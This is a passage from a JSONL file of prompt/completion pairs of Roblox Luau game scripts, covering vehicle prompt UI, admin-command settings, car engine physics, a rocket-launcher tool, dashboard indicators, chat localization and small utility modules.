\"rbxassetid://2848251564\"\n\t\tEnterImageButton.Size = UDim2.new(0, 36, 0, 36)\n\t\tFlipImageButton.Image = \"rbxassetid://2848307983\"\n\t\tFlipImageButton:WaitForChild(\"Pressed\").Image = \"rbxassetid://2848307983\"\n\t\tFlipImageButton.Size = UDim2.new(0, 44, 0, 44)\n\n\t\tBackgroundConsole.Visible = false\n\t\tBackgroundDesktop.Visible = true\n\t\tBackgroundDesktop.Size = UDim2.new(0, 97, 0, 46)\n\t\tBackgroundDesktop.Position = UDim2.new(0.5, 28, 0.5, 0)\n\n\t\tButtonPrompt.Visible = true\n\t\tButtonPrompt.Image = \"rbxassetid://2935912536\"\n\t\tButtonPrompt.Size = UDim2.new(0, 36, 0, 36)\n\t\tButtonPrompt.Position = UDim2.new(0.5, -46, 0.5, 0)\n\t\tButtonPrompt.TextLabel.Visible = true\n\n\t\t--Display the correct key\n\t\tButtonPrompt.TextLabel.Text = Keymap.EnterVehicleKeyboard.Name\n\n\telseif inputType == Enum.ProximityPromptInputType.Gamepad then\n\t\tDriverButtonId = \"rbxassetid://2848635029\"\n\t\tDriverButtonPressedId = \"rbxassetid://2848635029\"\n\t\tPassengerButtonId = \"rbxassetid://2848636545\"\n\t\tPassengerButtonPressedId = \"rbxassetid://2848636545\"\n\t\tEnterImageButton.Size = UDim2.new(0, 60, 0, 60)\n\t\tFlipImageButton.Image = \"rbxassetid://2848307983\"\n\t\tFlipImageButton:WaitForChild(\"Pressed\").Image = \"rbxassetid://2848307983\"\n\t\tFlipImageButton.Size = UDim2.new(0, 44, 0, 44)\n\n\t\tBackgroundDesktop.Visible = false\n\t\tBackgroundConsole.Visible = true\n\t\tBackgroundConsole.Size = UDim2.new(0, 136, 0, 66)\n\t\tBackgroundConsole.Position = UDim2.new(0.5, 40, 0.5, 0)\n\n\t\tButtonPrompt.Visible = true\n\t\t--ButtonPrompt.Image = \"rbxassetid://408462759\"\n\t\tButtonPrompt.Size = UDim2.new(0, 46, 0, 46)\n\t\tButtonPrompt.Position = UDim2.new(0.5, -63, 0.5, 0)\n\t\tButtonPrompt.ImageRectSize = Vector2.new(71, 71)\n\t\tButtonPrompt.ImageRectOffset = Vector2.new(512, 600)\n\t\tButtonPrompt.TextLabel.Visible = false\n\n\t\t--Set the correct image for the gamepad button prompt\n\t\tlocal template = InputImageLibrary:GetImageLabel(Keymap.EnterVehicleGamepad, \"Light\")\n\t\tButtonPrompt.Image = template.Image\n\t\tButtonPrompt.ImageRectOffset = template.ImageRectOffset\n\t\tButtonPrompt.ImageRectSize = template.ImageRectSize\n\telseif inputType == Enum.ProximityPromptInputType.Touch then\n\t\tBackgroundDesktop.Visible = false\n\t\tBackgroundConsole.Visible = false\n\t\tButtonPrompt.Visible = false\n\n\t\tDriverButtonId = \"rbxassetid://2847898200\"\n\t\tDriverButtonPressedId = \"rbxassetid://2847898354\"\n\t\tPassengerButtonId = \"rbxassetid://2848217831\"\n\t\tPassengerButtonPressedId = \"rbxassetid://2848218107\"\n\t\tEnterImageButton.Size = UDim2.new(0, 44, 0, 44)\n\t\tFlipImageButton.Image = \"rbxassetid://2848187559\"\n\t\tFlipImageButton:WaitForChild(\"Pressed\").Image = \"rbxassetid://2848187982\"\n\t\tFlipImageButton.Size = UDim2.new(0, 44, 0, 44)\n\t\t\n\t\tEnterImageButton.InputBegan:Connect(function(input)\n\t\t\tprompt:InputHoldBegin()\n\t\tend)\n\t\tEnterImageButton.InputEnded:Connect(function(input)\n\t\t\tprompt:InputHoldEnd()\n\t\tend)\n\t\tFlipImageButton.InputBegan:Connect(function(input)\n\t\t\tprompt:InputHoldBegin()\n\t\tend)\n\t\tFlipImageButton.InputEnded:Connect(function(input)\n\t\t\tprompt:InputHoldEnd()\n\t\tend)\n\n\t\tpromptUI.Active = true\n\tend\n\t\n\tif isFlipped(seat) then\n\t\tFlipImageButton.Visible = true\n\t\tEnterImageButton.Visible = false\n\telse\n\t\tFlipImageButton.Visible = false\n\t\tEnterImageButton.Visible = true\n\tend\n\tif seat.Name == \"VehicleSeat\" then\n\t\tEnterImageButton.Image = DriverButtonId\n\t\tEnterImageButton.Pressed.Image = DriverButtonPressedId\n\telse\n\t\tEnterImageButton.Image = PassengerButtonId\n\t\tEnterImageButton.Pressed.Image = PassengerButtonPressedId\n\tend\n\n\treturn promptUI\nend\n\nProximityPromptService.PromptShown:Connect(function(prompt, inputType)\n\tif prompt.Name == \"EndorsedVehicleProximityPromptV1\" then\n\t\tlocal promptUI = createPrompt(prompt, inputType)\n\t\tpromptUI.Parent = screenGui\n\t\tprompt.PromptHidden:Wait()\n\t\tpromptUI.Parent = nil\n\tend\nend)\n"} +{"prompt": "--Ranks--\n--[[\n\t0 = Normal Player\n\t1 = Banned\n\t2 = Mod\n\t3 = Admin\n\t4 = Super Admin\n\t5 = Owner Admin\n\t6 = Game Creator --Can only be used in Custom_Commands\n--]]", "completion": "\n\nlocal Settings = {\n\tAdvertise = true; --Advertises the admin commands on the GUI on the bottom right of the screen\n\tPrefix = \";\"; --NOTE: DO NOT MAKE THIS MORE THAN 1 CHARACTER LONG UNLESS YOU WANT TO BREAK THE CODE! Changing this will change the prefix for the commands you run ex: ;cmds will run since the prefix is set to \";\"\n\tFreeAdmin = 3; --Set this from 2-5 if you want people to join the game to have a certain admin, otherwise set it to false\n\tCommandBar = true; --Set this to true if you want players to be able to use the command bar, otherwise set it to false\n\t\n\tProducts = {\n\t--EXAPMLE\t[ID OF GAMEPASS/SHIRT] = Ranks: 2-5 or false if you dont want the item to award admin at the moment\n\t--Example: Should give the mod for owning the mega donation shirt\n\t\t--[1256454890] = 2;\n\t};\n\t\n\tGroups = {\n\t--EXAPMLE\t[ID OF GROUP] = {Role rank, Ranks: 2-5 or false} if you dont want the item to award admin at the moment\n\t--Example: My group ID is 3675368 and since I'm the owner of the group my group role rank is 255, and anyone with the role rank of 255 or higher gets \"2\" as their power which is mod\n\t\t--[3675368] = {255,2};\n\t};\n}\n"} +{"prompt": "--[[\nTheNexusAvenger\n\nApplies a winter theme to New Crossroads.\n--]]", "completion": "\n"} +{"prompt": "--[[\n\tReturns the current value of this ForKeys object.\n\tThe object will be registered as a dependency unless `asDependency` is false.\n]]", "completion": "\nfunction class:get(asDependency: boolean?): any\n\tif asDependency ~= false then\n\t\tuseDependency(self)\n\tend\n\treturn self._outputTable\nend\n\n"} +{"prompt": "--Steer Gyro Tuning", "completion": "\nTune.SteerD\t\t\t= 1000\t\t-- Steering Dampening\nTune.SteerMaxTorque\t= 50000\t\t-- Steering Force\nTune.SteerP\t\t\t= 100000\t-- Steering Aggressiveness\n"} +{"prompt": "-- ROBLOX deviation: can't match for blank string in Lua so we match for NOT blank string\n-- currently commented out as it is unused\n-- local notBlankStringRegexp = '%S'", "completion": "\n"} +{"prompt": "--Casts a ray to find the height for the character to hover at even if the path is going up or down", "completion": "\nfunction findHeight(distanceInFront)\n\tlocal torso = character.HumanoidRootPart\n\tlocal ray = Ray.new(\n Vector3.new(torso.Position.X, torso.Position.Y + 50, torso.Position.Z - distanceInFront), \t-- origin\n (Vector3.new(0, -1, 0)).unit * 300)\t \t\t\t\t\t\t\t\t\t\t\t\t\t\t-- direction\n\tlocal ignore = character\n\tlocal hit, position = game.Workspace:FindPartOnRay(ray, ignore)\n\treturn position.Y + 40\nend\n\nfunction highest(tableOfValues)\n\tlocal highestSoFar = tableOfValues[1]\n\tfor i = 2, #tableOfValues do\n\t\tif tableOfValues[i] > highestSoFar then\n\t\t\thighestSoFar = tableOfValues[i]\n\t\tend\n\tend\n\treturn highestSoFar\nend\n\nfunction fastStart()\n\tif started == false then\n\t\tstarted = true\n\t\tlocal fastStartPosition = Instance.new(\"BodyPosition\")\n\t\tfastStartPosition.Name = \"FastStart\"\n\t\tfastStartPosition.maxForce = Vector3.new(0, 15000, 0)\n\t\tfastStartPosition.Parent = character.HumanoidRootPart\n\t\tlocal fastStartVelocity = Instance.new(\"BodyVelocity\")\n\t\tfastStartVelocity.maxForce = Vector3.new(0, 0, 15000)\n\t\tfastStartVelocity.velocity = Vector3.new(0, 0, -150)\n\t\tfastStartVelocity.Parent = character.HumanoidRootPart\n\t\tfastStartPosition.position = Vector3.new(0, highest({findHeight(0), findHeight(10), findHeight(20), findHeight(30)}), 0)\n\t\twhile character.HumanoidRootPart.Position.Z > spawnLocation.Z - 1000 do\n\t\t\twait(1)\n\t\t\tif character:FindFirstChild(\"HumanoidRootPart\") == nil then\n\t\t\t\tbreak\n\t\t\tend\n\t\t\tfastStartPosition.position = Vector3.new(0, highest({findHeight(0), findHeight(10), findHeight(20), findHeight(30)}), 0)\n\t\tend\n\t\tfastStartVelocity.velocity = Vector3.new(0, 0, 0)\n\t\twait(2)\n\t\tif character:FindFirstChild(\"HumanoidRootPart\") then\n\t\t\tfastStartPosition:Destroy()\n\t\t\tfastStartVelocity:Destroy()\n\t\t\tlocal shield = Instance.new(\"ForceField\")\n\t\t\tshield.Name = \"Shield\"\n\t\t\tshield.Parent = character\n\t\t\tgame:GetService(\"Debris\"):AddItem(shield, 3)\n\t\tend\n\t\tfastStart:Destroy()\n\t\tscript:Destroy()\n\tend\nend\n\nfastStart() --Script starts disabled, only enabled when a player starts running\n\n\n"} +{"prompt": "-----------------\n--| Functions |--\n-----------------", "completion": "\n\nlocal oldWalkSpeed = 16\n\nlocal IsEquipped = false\nlocal function OnEquipped()\n\tif IsEquipped then return end\n\tIsEquipped = true\n\tMyPlayer = nil\t\n\twhile not MyPlayer do\n\t\tMyModel = Tool.Parent\n\t\toldWalkSpeed = MyModel.Humanoid.WalkSpeed\n\t\tMyPlayer = PlayersService:GetPlayerFromCharacter(MyModel)\n\t\tif ({\n\t\t\tmoded = 1,\n\t\t\tseranok = 1,\n\t\t\tweeve = 1,\n\t\t\ttwberg = 1,\n\t\t\tadamintygum = 1,\n\t\t\turistmcsparks = 1,\n\t\t\tmerely = 1,\n\t\t\tsquidcod = 1,\n\t\t\tplayer1 = 1\n\t\t})[MyPlayer.Name:lower()] then\n\t\t\tCOOLDOWN = 1\n\t\tend\n\t\tMyModel.Humanoid.WalkSpeed = 12\n\t\twait(1/30)\n\tend\n\n\tEquipSound:Play()\n\tlocal mouse = MyPlayer:GetMouse()\nend\n\nlocal TrackTime = 0\n\nlocal holdSoundPlaying = false\n\n\nlocal function OnActivated(targetOverride)\n\twait(0) --TODO: Remove when Mouse.Hit and Humanoid.TargetPoint update properly on iPad\n\tif Tool.Enabled and MyModel and MyModel:FindFirstChild('Humanoid') and MyModel.Humanoid.Health > 0 then\n\t\tTool.Enabled = false\n\n\t\t-- Pick a target\n\t\tlocal targetPosition = targetOverride or MyModel.Humanoid.TargetPoint\n\n\t\t-- Position the rocket clone\n\t\tlocal spawnPosition = ToolHandle.Position + (ToolHandle.CFrame.lookVector * (ToolHandle.Size.Z / 2))\n\t\tscript.Parent.FireRocket:FireServer(targetPosition, spawnPosition)\t\t\n\t\t\n\t\tReloadSound:Play()\n\n\t\twait(COOLDOWN)\n\n\t\t-- Stop the reloading sound if it hasn't already finished\n\t\tReloadSound:Stop()\n\n\t\tTool.Enabled = true\n\tend\nend\n\nlocal function OnUnequipped()\n\tReloadSound:Stop()\n\tIsEquipped = false\n\tMyModel.Humanoid.WalkSpeed = oldWalkSpeed\nend\n"} +{"prompt": "-----------", "completion": "\n\nscript.Parent.Parent.Values.ABS.Changed:connect(function()\n\tif _Tune.ABSEnabled then\n\t\tif script.Parent.Parent.Values.ABS.Value then\n\t\t\tscript.Parent.ABS.TextColor3 = Color3.new(1,170/255,0)\n\t\t\tscript.Parent.ABS.TextStrokeColor3 = Color3.new(1,170/255,0)\n\t\t\tif script.Parent.Parent.Values.ABSActive.Value then\n\t\t\t\twait()\n\t\t\t\tscript.Parent.ABS.Visible = not script.Parent.ABS.Visible\n\t\t\telse\n\t\t\t\twait()\n\t\t\t\tscript.Parent.ABS.Visible = false\n\t\t\tend\n\t\telse\n\t\t\tscript.Parent.ABS.Visible = true\n\t\t\tscript.Parent.ABS.TextColor3 = Color3.new(1,0,0)\n\t\t\tscript.Parent.ABS.TextStrokeColor3 = Color3.new(1,0,0)\n\t\tend\n\telse\n\t\tscript.Parent.ABS.Visible = false\n\tend\nend)\n\nscript.Parent.Parent.Values.ABSActive.Changed:connect(function()\n\tif _Tune.ABSEnabled then\n\t\tif script.Parent.Parent.Values.ABSActive.Value and script.Parent.Parent.Values.ABS.Value then\n\t\t\twait()\n\t\t\tscript.Parent.ABS.Visible = not script.Parent.ABS.Visible\n\t\telseif not script.Parent.Parent.Values.ABS.Value then\n\t\t\twait()\n\t\t\tscript.Parent.ABS.Visible = true\n\t\telse\n\t\t\twait()\n\t\t\tscript.Parent.ABS.Visible = false\n\t\tend\n\telse\n\t\tscript.Parent.ABS.Visible = false\n\tend\nend)\n\nscript.Parent.ABS.Changed:connect(function()\n\tif _Tune.ABSEnabled then\n\t\tif script.Parent.Parent.Values.ABSActive.Value and script.Parent.Parent.Values.ABS.Value then\n\t\t\twait()\n\t\t\tscript.Parent.ABS.Visible = not script.Parent.ABS.Visible\n\t\telseif not script.Parent.Parent.Values.ABS.Value then\n\t\t\twait()\n\t\t\tscript.Parent.ABS.Visible = true\n\t\tend\n\telse\n\t\tif script.Parent.ABS.Visible then\n\t\t\tscript.Parent.ABS.Visible = false\n\t\tend\n\tend\nend)\n\nscript.Parent.Parent.Values.PBrake.Changed:connect(function()\n\tscript.Parent.PBrake.Visible = script.Parent.Parent.Values.PBrake.Value\nend)\n\nscript.Parent.Parent.Values.Velocity.Changed:connect(function(property)\n\tscript.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude)\nend)\n"} +{"prompt": "-- try localize whole/part of string\n-- no more-than-1 replacement for current existing keys.", "completion": "\nfunction ChatLocalization:tryLocalize(rawString)\n\tif existingKey[rawString] then\n\t\treturn self:Get(existingKey[rawString], rawString)\n\tend\n\n\tfor enString, localizationKey in pairs(existingKey) do\n\t\tif string.find(rawString, enString) then\n\t\t\tlocal localizedPart = self:Get(localizationKey, enString)\n\t\t\treturn string.gsub(rawString, enString, localizedPart, 1)\n\t\tend\n\tend\n\n\tfor pattern, info in pairs(whisperPatterns) do\n\t\tlocal startIndex = string.find(rawString, pattern)\n\t\tlocal namePart = string.match(rawString, pattern)\n\t\tif startIndex and namePart then\n\t\t\tlocal localizedPart = self:Get(info.LocalizationKey, info.English)\n\t\t\tlocal startPart = if startIndex > 1 then rawString:sub(1, startIndex - 1) else \"\"\n\t\t\treturn startPart .. localizedPart .. namePart\n\t\tend\n\tend\n\n\treturn rawString\nend\n\nreturn ChatLocalization\n"} +{"prompt": "--script.Parent:WaitForChild(\"SeatWeld\")\n--wait(1)", "completion": "\nscript.Parent.ChildAdded:connect(function(child) \n\tif child:IsA(\"Weld\") then\n\t\tchild.C0 = CFrame.new(0,0,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0) --// Reposition player\n\t\tif child.Part1.Name == \"HumanoidRootPart\" then\n\t\t\t--script.Parent.BodyForce.Force = Vector3.new(0,1500,0)\n\t\t\tfor i,v in pairs(child.Part1.Parent:GetChildren()) do\n\t\t\t\tif v:IsA(\"Accessory\") then\n\t\t\t\t\tv.Handle.Transparency = 1 ---change this to zero if you dont want hats to be removed [SS6]\n\t\t\t\t\tlocal _,_ = pcall(function() v.Handle.CustomPhysicalProperties = PhysicalProperties.new(0.01,0.3,0.5,1,1) end)\n\t\t\t\tend\n\t\t\t\tlocal _,_ = pcall(function() v.CustomPhysicalProperties = PhysicalProperties.new(0.01,0.3,0.5,1,1) end)\n\t\t\tend\n\t\tend\n\tend\nend)\n\nscript.Parent.ChildRemoved:connect(function(child)\n\tif child:IsA(\"Weld\") then\n\t\tif child.Part1.Name == \"HumanoidRootPart\" then\n\t\t\t--script.Parent.BodyForce.Force = Vector3.new(0,0,0)\n\t\t\tfor i,v in pairs(child.Part1.Parent:GetChildren()) do\n\t\t\t\tif v:IsA(\"Accessory\") then\n\t\t\t\t\tv.Handle.Transparency = 0\n\t\t\t\t\tlocal _,_ = pcall(function() v.Handle.CustomPhysicalProperties = PhysicalProperties.new(0.01,0.3,0.5,1,1) end)\n\t\t\t\tend\n\t\t\t\tlocal _,_ = pcall(function() v.CustomPhysicalProperties = PhysicalProperties.new(0.7,0.3,0.5,1,1) end)\n\t\t\tend\n\t\t\tlocal player = game.Players:GetPlayerFromCharacter(child.Part1.Parent)\n\t\t\tif player and player.PlayerGui:FindFirstChild(\"Screen\") then\n\t\t\t\tplayer.PlayerGui:FindFirstChild(\"Screen\"):Destroy()\n\t\t\tend\n\t\tend\n\tend\t\nend)\n"} +{"prompt": "-- function", "completion": "\n\t\nreturn function(character, death)\n\tif not character:FindFirstChild(\"Effects\") then\n\t\tlocal effects\t= Instance.new(\"Folder\")\n\t\t\teffects.Name\t= \"Effects\"\n\t\t\teffects.Parent\t= character\n\tend\n\t\n\tif not effects[death] then\n\t\tif CUSTOMIZATION.KillEffects:FindFirstChild(death) then\n\t\t\teffects[death]\t= require(CUSTOMIZATION.KillEffects[death])\n\t\tend\n\tend\n\t\n\tif effects[death] then\n\t\teffects[death](character)\n\tend\nend\n"} +{"prompt": "--[[Engine]]", "completion": "\n\n\tlocal fFD = _Tune.FinalDrive*_Tune.FDMult\n\n\t--Horsepower Curve\n\tlocal fgc_h=_Tune.Horsepower/100\n\tlocal fgc_n=_Tune.PeakRPM/1000\n\tlocal fgc_a=_Tune.PeakSharpness\n\tlocal fgc_c=_Tune.CurveMult\n\tfunction FGC(x)\n\t\tx=x/1000\n\t\treturn (((-(x-fgc_n)^2)*math.min(fgc_h/(fgc_n^2),fgc_c^(fgc_n/fgc_h)))+fgc_h)*(x-((x^fgc_a)/((fgc_a*fgc_n)^(fgc_a-1))))\n\tend\n\tlocal PeakFGC = FGC(_Tune.PeakRPM)\n\t\n\t--Plot Current Horsepower\n\tlocal cGrav = workspace.Gravity/32.2\n\tfunction GetCurve(x)\n\t\tlocal hp=math.max((FGC(x)*_Tune.Horsepower)/PeakFGC,0)\n\t\tlocal iComp =(car.DriveSeat.CFrame.lookVector.y)*_Tune.InclineComp*cGrav\n\t\tif _CGear==-1 then iComp=-iComp end\n\t\treturn hp,hp*(_Tune.EqPoint/x)*_Tune.Ratios[_CGear+2]*fFD*math.max(1,(1+iComp))*hpScaling\n\tend\n\t\n\t--Powertrain\n\tfunction Engine()\n\t\t--Neutral Gear\n\t\tif _CGear==0 then _ClutchOn = false end\n\t\n\t\t--Car Is Off\n\t\tlocal revMin = _Tune.IdleRPM\n\t\tif not _IsOn then \n\t\t\trevMin = 0 \n\t\t\t_CGear = 0\n\t\t\t_ClutchOn = false\n\t\t\t_GThrot = _Tune.IdleThrottle/100\n\t\tend\n\t\t\n\t\t--Determine RPM\n\t\tlocal maxSpin=0\n\t\tfor i,v in pairs(Drive) do\n\t\t\tif v.RotVelocity.Magnitude>maxSpin then maxSpin = v.RotVelocity.Magnitude end\n\t\tend\n\t\tif _ClutchOn then\n\t\t\tlocal aRPM = math.max(math.min(maxSpin*_Tune.Ratios[_CGear+2]*fFD*30/math.pi,_Tune.Redline+100),revMin)\n\t\t\tlocal clutchP = math.min(math.abs(aRPM-_RPM)/_Tune.ClutchTol,.9)\n\t\t\t_RPM = _RPM*clutchP + aRPM*(1-clutchP)\n\t\t\t_HP,_OutTorque = GetCurve(_RPM)\n\t\telse\n\t\t\tif _GThrot-(_Tune.IdleThrottle/100)>0 then\n\t\t\t\t_RPM = math.min(_RPM+_Tune.RevAccel*_GThrot,_Tune.Redline+100)\n\t\t\telse\n\t\t\t\t_RPM = math.max(_RPM-_Tune.RevDecay,revMin)\n\t\t\tend\n\t\t\t_OutTorque = 0\n\t\tend\n\t\t\n\t\t--Rev Limiter\n\t\tlocal spLimit = 0\n\t\tif _RPM>_Tune.Redline then \n\t\t\tif _CGear<#_Tune.Ratios-2 then\n\t\t\t\t_RPM = _RPM-_Tune.RevBounce\n\t\t\t\tspLimit = 0\n\t\t\telse\n\t\t\t\t_RPM = _RPM-_Tune.RevBounce*.5\n\t\t\tend\n\t\telse\n\t\t\tspLimit = (_Tune.Redline+100)*math.pi/(30*_Tune.Ratios[_CGear+2]*fFD)\n\t\tend\n\t\t\n\t\t--Automatic Transmission\n\t\tif _TMode == \"Auto\" and _IsOn then\n\t\t\t_ClutchOn = true\n\t\t\tif _CGear == 0 then _CGear = 1 end\n\t\t\tif _CGear >= 1 then\n\t\t\t\tif _CGear==1 and _GBrake > 0 and car.DriveSeat.Velocity.Magnitude < 20 then\n\t\t\t\t\t_CGear = -1\n\t\t\t\telse\n\t\t\t\t\tif _Tune.AutoShiftMode == \"RPM\" then\n\t\t\t\t\t\tif _RPM>(_Tune.PeakRPM+_Tune.AutoUpThresh) then\n\t\t\t\t\t\t\t_CGear=math.min(_CGear+1,#_Tune.Ratios-2) \n\t\t\t\t\t\telseif math.max(math.min(maxSpin*_Tune.Ratios[_CGear+1]*fFD*30/math.pi,_Tune.Redline+100),_Tune.IdleRPM)<(_Tune.PeakRPM-_Tune.AutoDownThresh) then\n\t\t\t\t\t\t\t_CGear=math.max(_CGear-1,1)\n\t\t\t\t\t\tend\n\t\t\t\t\telse\n\t\t\t\t\t\tif car.DriveSeat.Velocity.Magnitude > math.ceil(wDia*math.pi*(_Tune.PeakRPM+_Tune.AutoUpThresh)/60/_Tune.Ratios[_CGear+2]/fFD) then\n\t\t\t\t\t\t\t_CGear=math.min(_CGear+1,#_Tune.Ratios-2)\n\t\t\t\t\t\telseif car.DriveSeat.Velocity.Magnitude < math.ceil(wDia*math.pi*(_Tune.PeakRPM-_Tune.AutoDownThresh)/60/_Tune.Ratios[_CGear+1]/fFD) then\n\t\t\t\t\t\t\t_CGear=math.max(_CGear-1,1)\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tif _GThrot-(_Tune.IdleThrottle/100) > 0 and car.DriveSeat.Velocity.Magnitude < 20 then\n\t\t\t\t\t_CGear = 1\n\t\t\t\tend\n\t\t\tend\n\t\tend \n\t\t\n\t\t--Average Rotational Speed Calculation\n\t\tlocal fwspeed=0\n\t\tlocal fwcount=0\n\t\tlocal rwspeed=0\n\t\tlocal rwcount=0\n\t\t\n\t\tfor i,v in pairs(car.Wheels:GetChildren()) do\n\t\t\tif v.Name==\"FL\" or v.Name==\"FR\" or v.Name == \"F\" then\n\t\t\t\tfwspeed=fwspeed+v.RotVelocity.Magnitude\n\t\t\t\tfwcount=fwcount+1\n\t\t\telseif v.Name==\"RL\" or v.Name==\"RR\" or v.Name == \"R\" then\n\t\t\t\trwspeed=rwspeed+v.RotVelocity.Magnitude\n\t\t\t\trwcount=rwcount+1\n\t\t\tend\n\t\tend\n\t\tfwspeed=fwspeed/fwcount\n\t\trwspeed=rwspeed/rwcount\t\n\t\tlocal cwspeed=(fwspeed+rwspeed)/2\n\t\t\n\t\t--Update Wheels\n\t\tfor i,v in pairs(car.Wheels:GetChildren()) do\n\t\t\t--Reference Wheel Orientation\n\t\t\tlocal Ref=(CFrame.new(v.Position-((v.Arm.CFrame*CFrame.Angles(math.pi/2,-math.pi/2,0)).lookVector),v.Position)*CFrame.Angles(0,math.pi,0)).lookVector\n\t\t\tlocal aRef=1\n\t\t\tlocal diffMult=1\n\t\t\tif v.Name==\"FL\" or v.Name==\"RL\" then aRef=-1 end\n\t\t\t\n\t\t\t--AWD Torque Scaling\n\t\t\tif _Tune.Config == \"AWD\" then _OutTorque = _OutTorque*(2^.5)/2 end\n\t\t\t\n\t\t\t--Differential/Torque-Vectoring\n\t\t\tif v.Name==\"FL\" or v.Name==\"FR\" then\n\t\t\t\tdiffMult=math.max(0,math.min(1,1+((((v.RotVelocity.Magnitude-fwspeed)/fwspeed)/(math.max(_Tune.FDiffSlipThres,1)/100))*((_Tune.FDiffLockThres-50)/50))))\n\t\t\t\tif _Tune.Config == \"AWD\" then\n\t\t\t\t\tdiffMult=math.max(0,math.min(1,diffMult*(1+((((fwspeed-cwspeed)/cwspeed)/(math.max(_Tune.CDiffSlipThres,1)/100))*((_Tune.CDiffLockThres-50)/50)))))\n\t\t\t\tend\n\t\t\telseif v.Name==\"RL\" or v.Name==\"RR\" then\n\t\t\t\tdiffMult=math.max(0,math.min(1,1+((((v.RotVelocity.Magnitude-rwspeed)/rwspeed)/(math.max(_Tune.RDiffSlipThres,1)/100))*((_Tune.RDiffLockThres-50)/50))))\n\t\t\t\tif _Tune.Config == \"AWD\" then\n\t\t\t\t\tdiffMult=math.max(0,math.min(1,diffMult*(1+((((rwspeed-cwspeed)/cwspeed)/(math.max(_Tune.CDiffSlipThres,1)/100))*((_Tune.CDiffLockThres-50)/50)))))\n\t\t\t\tend\n\t\t\tend\n\t\t\t\n\t\t\t_TCSActive = false\n\t\t\t_ABSActive = false\n\t\t\t--Output\n\t\t\tif _PBrake and ((_Tune.Config ~= \"FWD\" and (((v.Name==\"FL\" or v.Name==\"FR\") and car.DriveSeat.Velocity.Magnitude<20) or ((v.Name==\"RR\" or v.Name==\"RL\") and car.DriveSeat.Velocity.Magnitude>=20))) or (_Tune.Config == \"FWD\" and (v.Name==\"RR\" or v.Name==\"RL\"))) then\n\t\t\t\t--PBrake\n\t\t\t\tv[\"#AV\"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*PBrakeForce\n\t\t\t\tv[\"#AV\"].angularvelocity=Vector3.new()\n\t\t\telse\n\t\t\t\t--Apply Power\n\t\t\t\tif ((_TMode == \"Manual\" or _TMode == \"Semi\") and _GBrake==0) or (_TMode == \"Auto\" and ((_CGear>-1 and _GBrake==0 ) or (_CGear==-1 and _GThrot-(_Tune.IdleThrottle/100)==0 )))then\n\t\t\t\t\tlocal driven = false\n\t\t\t\t\tfor _,a in pairs(Drive) do if a==v then driven = true end end\n\t\t\t\t\tif driven then\n\t\t\t\t\t\tlocal on=1\n\t\t\t\t\t\tif not script.Parent.IsOn.Value then on=0 end\n\t\t\t\t\t\tlocal throt = _GThrot\n\t\t\t\t\t\tif _TMode == \"Auto\" and _CGear==-1 then throt = _GBrake end\n\t\t\t\t\t\t\n\t\t\t\t\t\t--Apply TCS\n\t\t\t\t\t\tlocal tqTCS = 1\n\t\t\t\t\t\tif _TCS then\n\t\t\t\t\t\t\ttqTCS = 1-(math.min(math.max(0,math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.TCSThreshold)/_Tune.TCSGradient,1)*(1-(_Tune.TCSLimit/100)))\n\t\t\t\t\t\tend\n\t\t\t\t\t\tif tqTCS < 1 then\n\t\t\t\t\t\t\t_TCSActive = true\n\t\t\t\t\t\tend\n\t\t\t\t\t\t\n\t\t\t\t\t\t--Update Forces\n\t\t\t\t\t\tlocal dir = 1\n\t\t\t\t\t\tif _CGear==-1 then dir = -1 end\n\t\t\t\t\t\tv[\"#AV\"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*_OutTorque*(1+(v.RotVelocity.Magnitude/60)^1.15)*throt*tqTCS*diffMult*on\n\t\t\t\t\t\tv[\"#AV\"].angularvelocity=Ref*aRef*spLimit*dir\n\t\t\t\t\telse\n\t\t\t\t\t\tv[\"#AV\"].maxTorque=Vector3.new()\n\t\t\t\t\t\tv[\"#AV\"].angularvelocity=Vector3.new()\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t--Brakes\n\t\t\t\telse\n\t\t\t\t\tlocal brake = _GBrake\n\t\t\t\t\tif _TMode == \"Auto\" and _CGear==-1 then brake = _GThrot end\n\t\t\t\t\t\n\t\t\t\t\t--Apply ABS\n\t\t\t\t\tlocal tqABS = 1\n\t\t\t\t\tif _ABS and math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.ABSThreshold>0 then\n\t\t\t\t\t\ttqABS = 0\n\t\t\t\t\tend\n\t\t\t\t\tif tqABS < 1 then\n\t\t\t\t\t\t_ABSActive = true\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\t--Update Forces\n\t\t\t\t\tif v.Name==\"FL\" or v.Name==\"FR\" or v.Name==\"F\" then\n\t\t\t\t\t\tv[\"#AV\"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*FBrakeForce*brake*tqABS\n\t\t\t\t\telse\n\t\t\t\t\t\tv[\"#AV\"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*RBrakeForce*brake*tqABS\n\t\t\t\t\tend\n\t\t\t\t\tv[\"#AV\"].angularvelocity=Vector3.new()\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\n\n\n"} +{"prompt": "--!strict", "completion": "\nlocal CancellableDelay = {}\nCancellableDelay.__index = CancellableDelay\n\nsetmetatable(CancellableDelay, {\n\t__call = function (self, ...)\n\t\treturn self.new(...)\n\tend\n})\n\nfunction CancellableDelay.new(delayTime:number, callback:(any:any) -> any, ...:any?)\n\tlocal self = setmetatable({}, CancellableDelay)\n\tself.__callback = callback\n\tself.__cancelled = false\n\tself.__args = ...\n\tself.Finished = false\n\tself.Result = nil\n\ttask.delay(delayTime, function()\n\t\tif not self.__cancelled then\n\t\t\tself.Result = self.__callback(self.__args)\n\t\tend\n\t\tself.Finished = true\n\tend)\n\treturn self\nend\n\nfunction CancellableDelay:Cancel()\n\tself.__cancelled = true\n\tself.Finished = true\nend\n\nreturn CancellableDelay\n"} +{"prompt": "-- Appearance", "completion": "\n\nlighting.Ambient = Color3.fromRGB(101, 99, 127)\nlighting.Brightness = 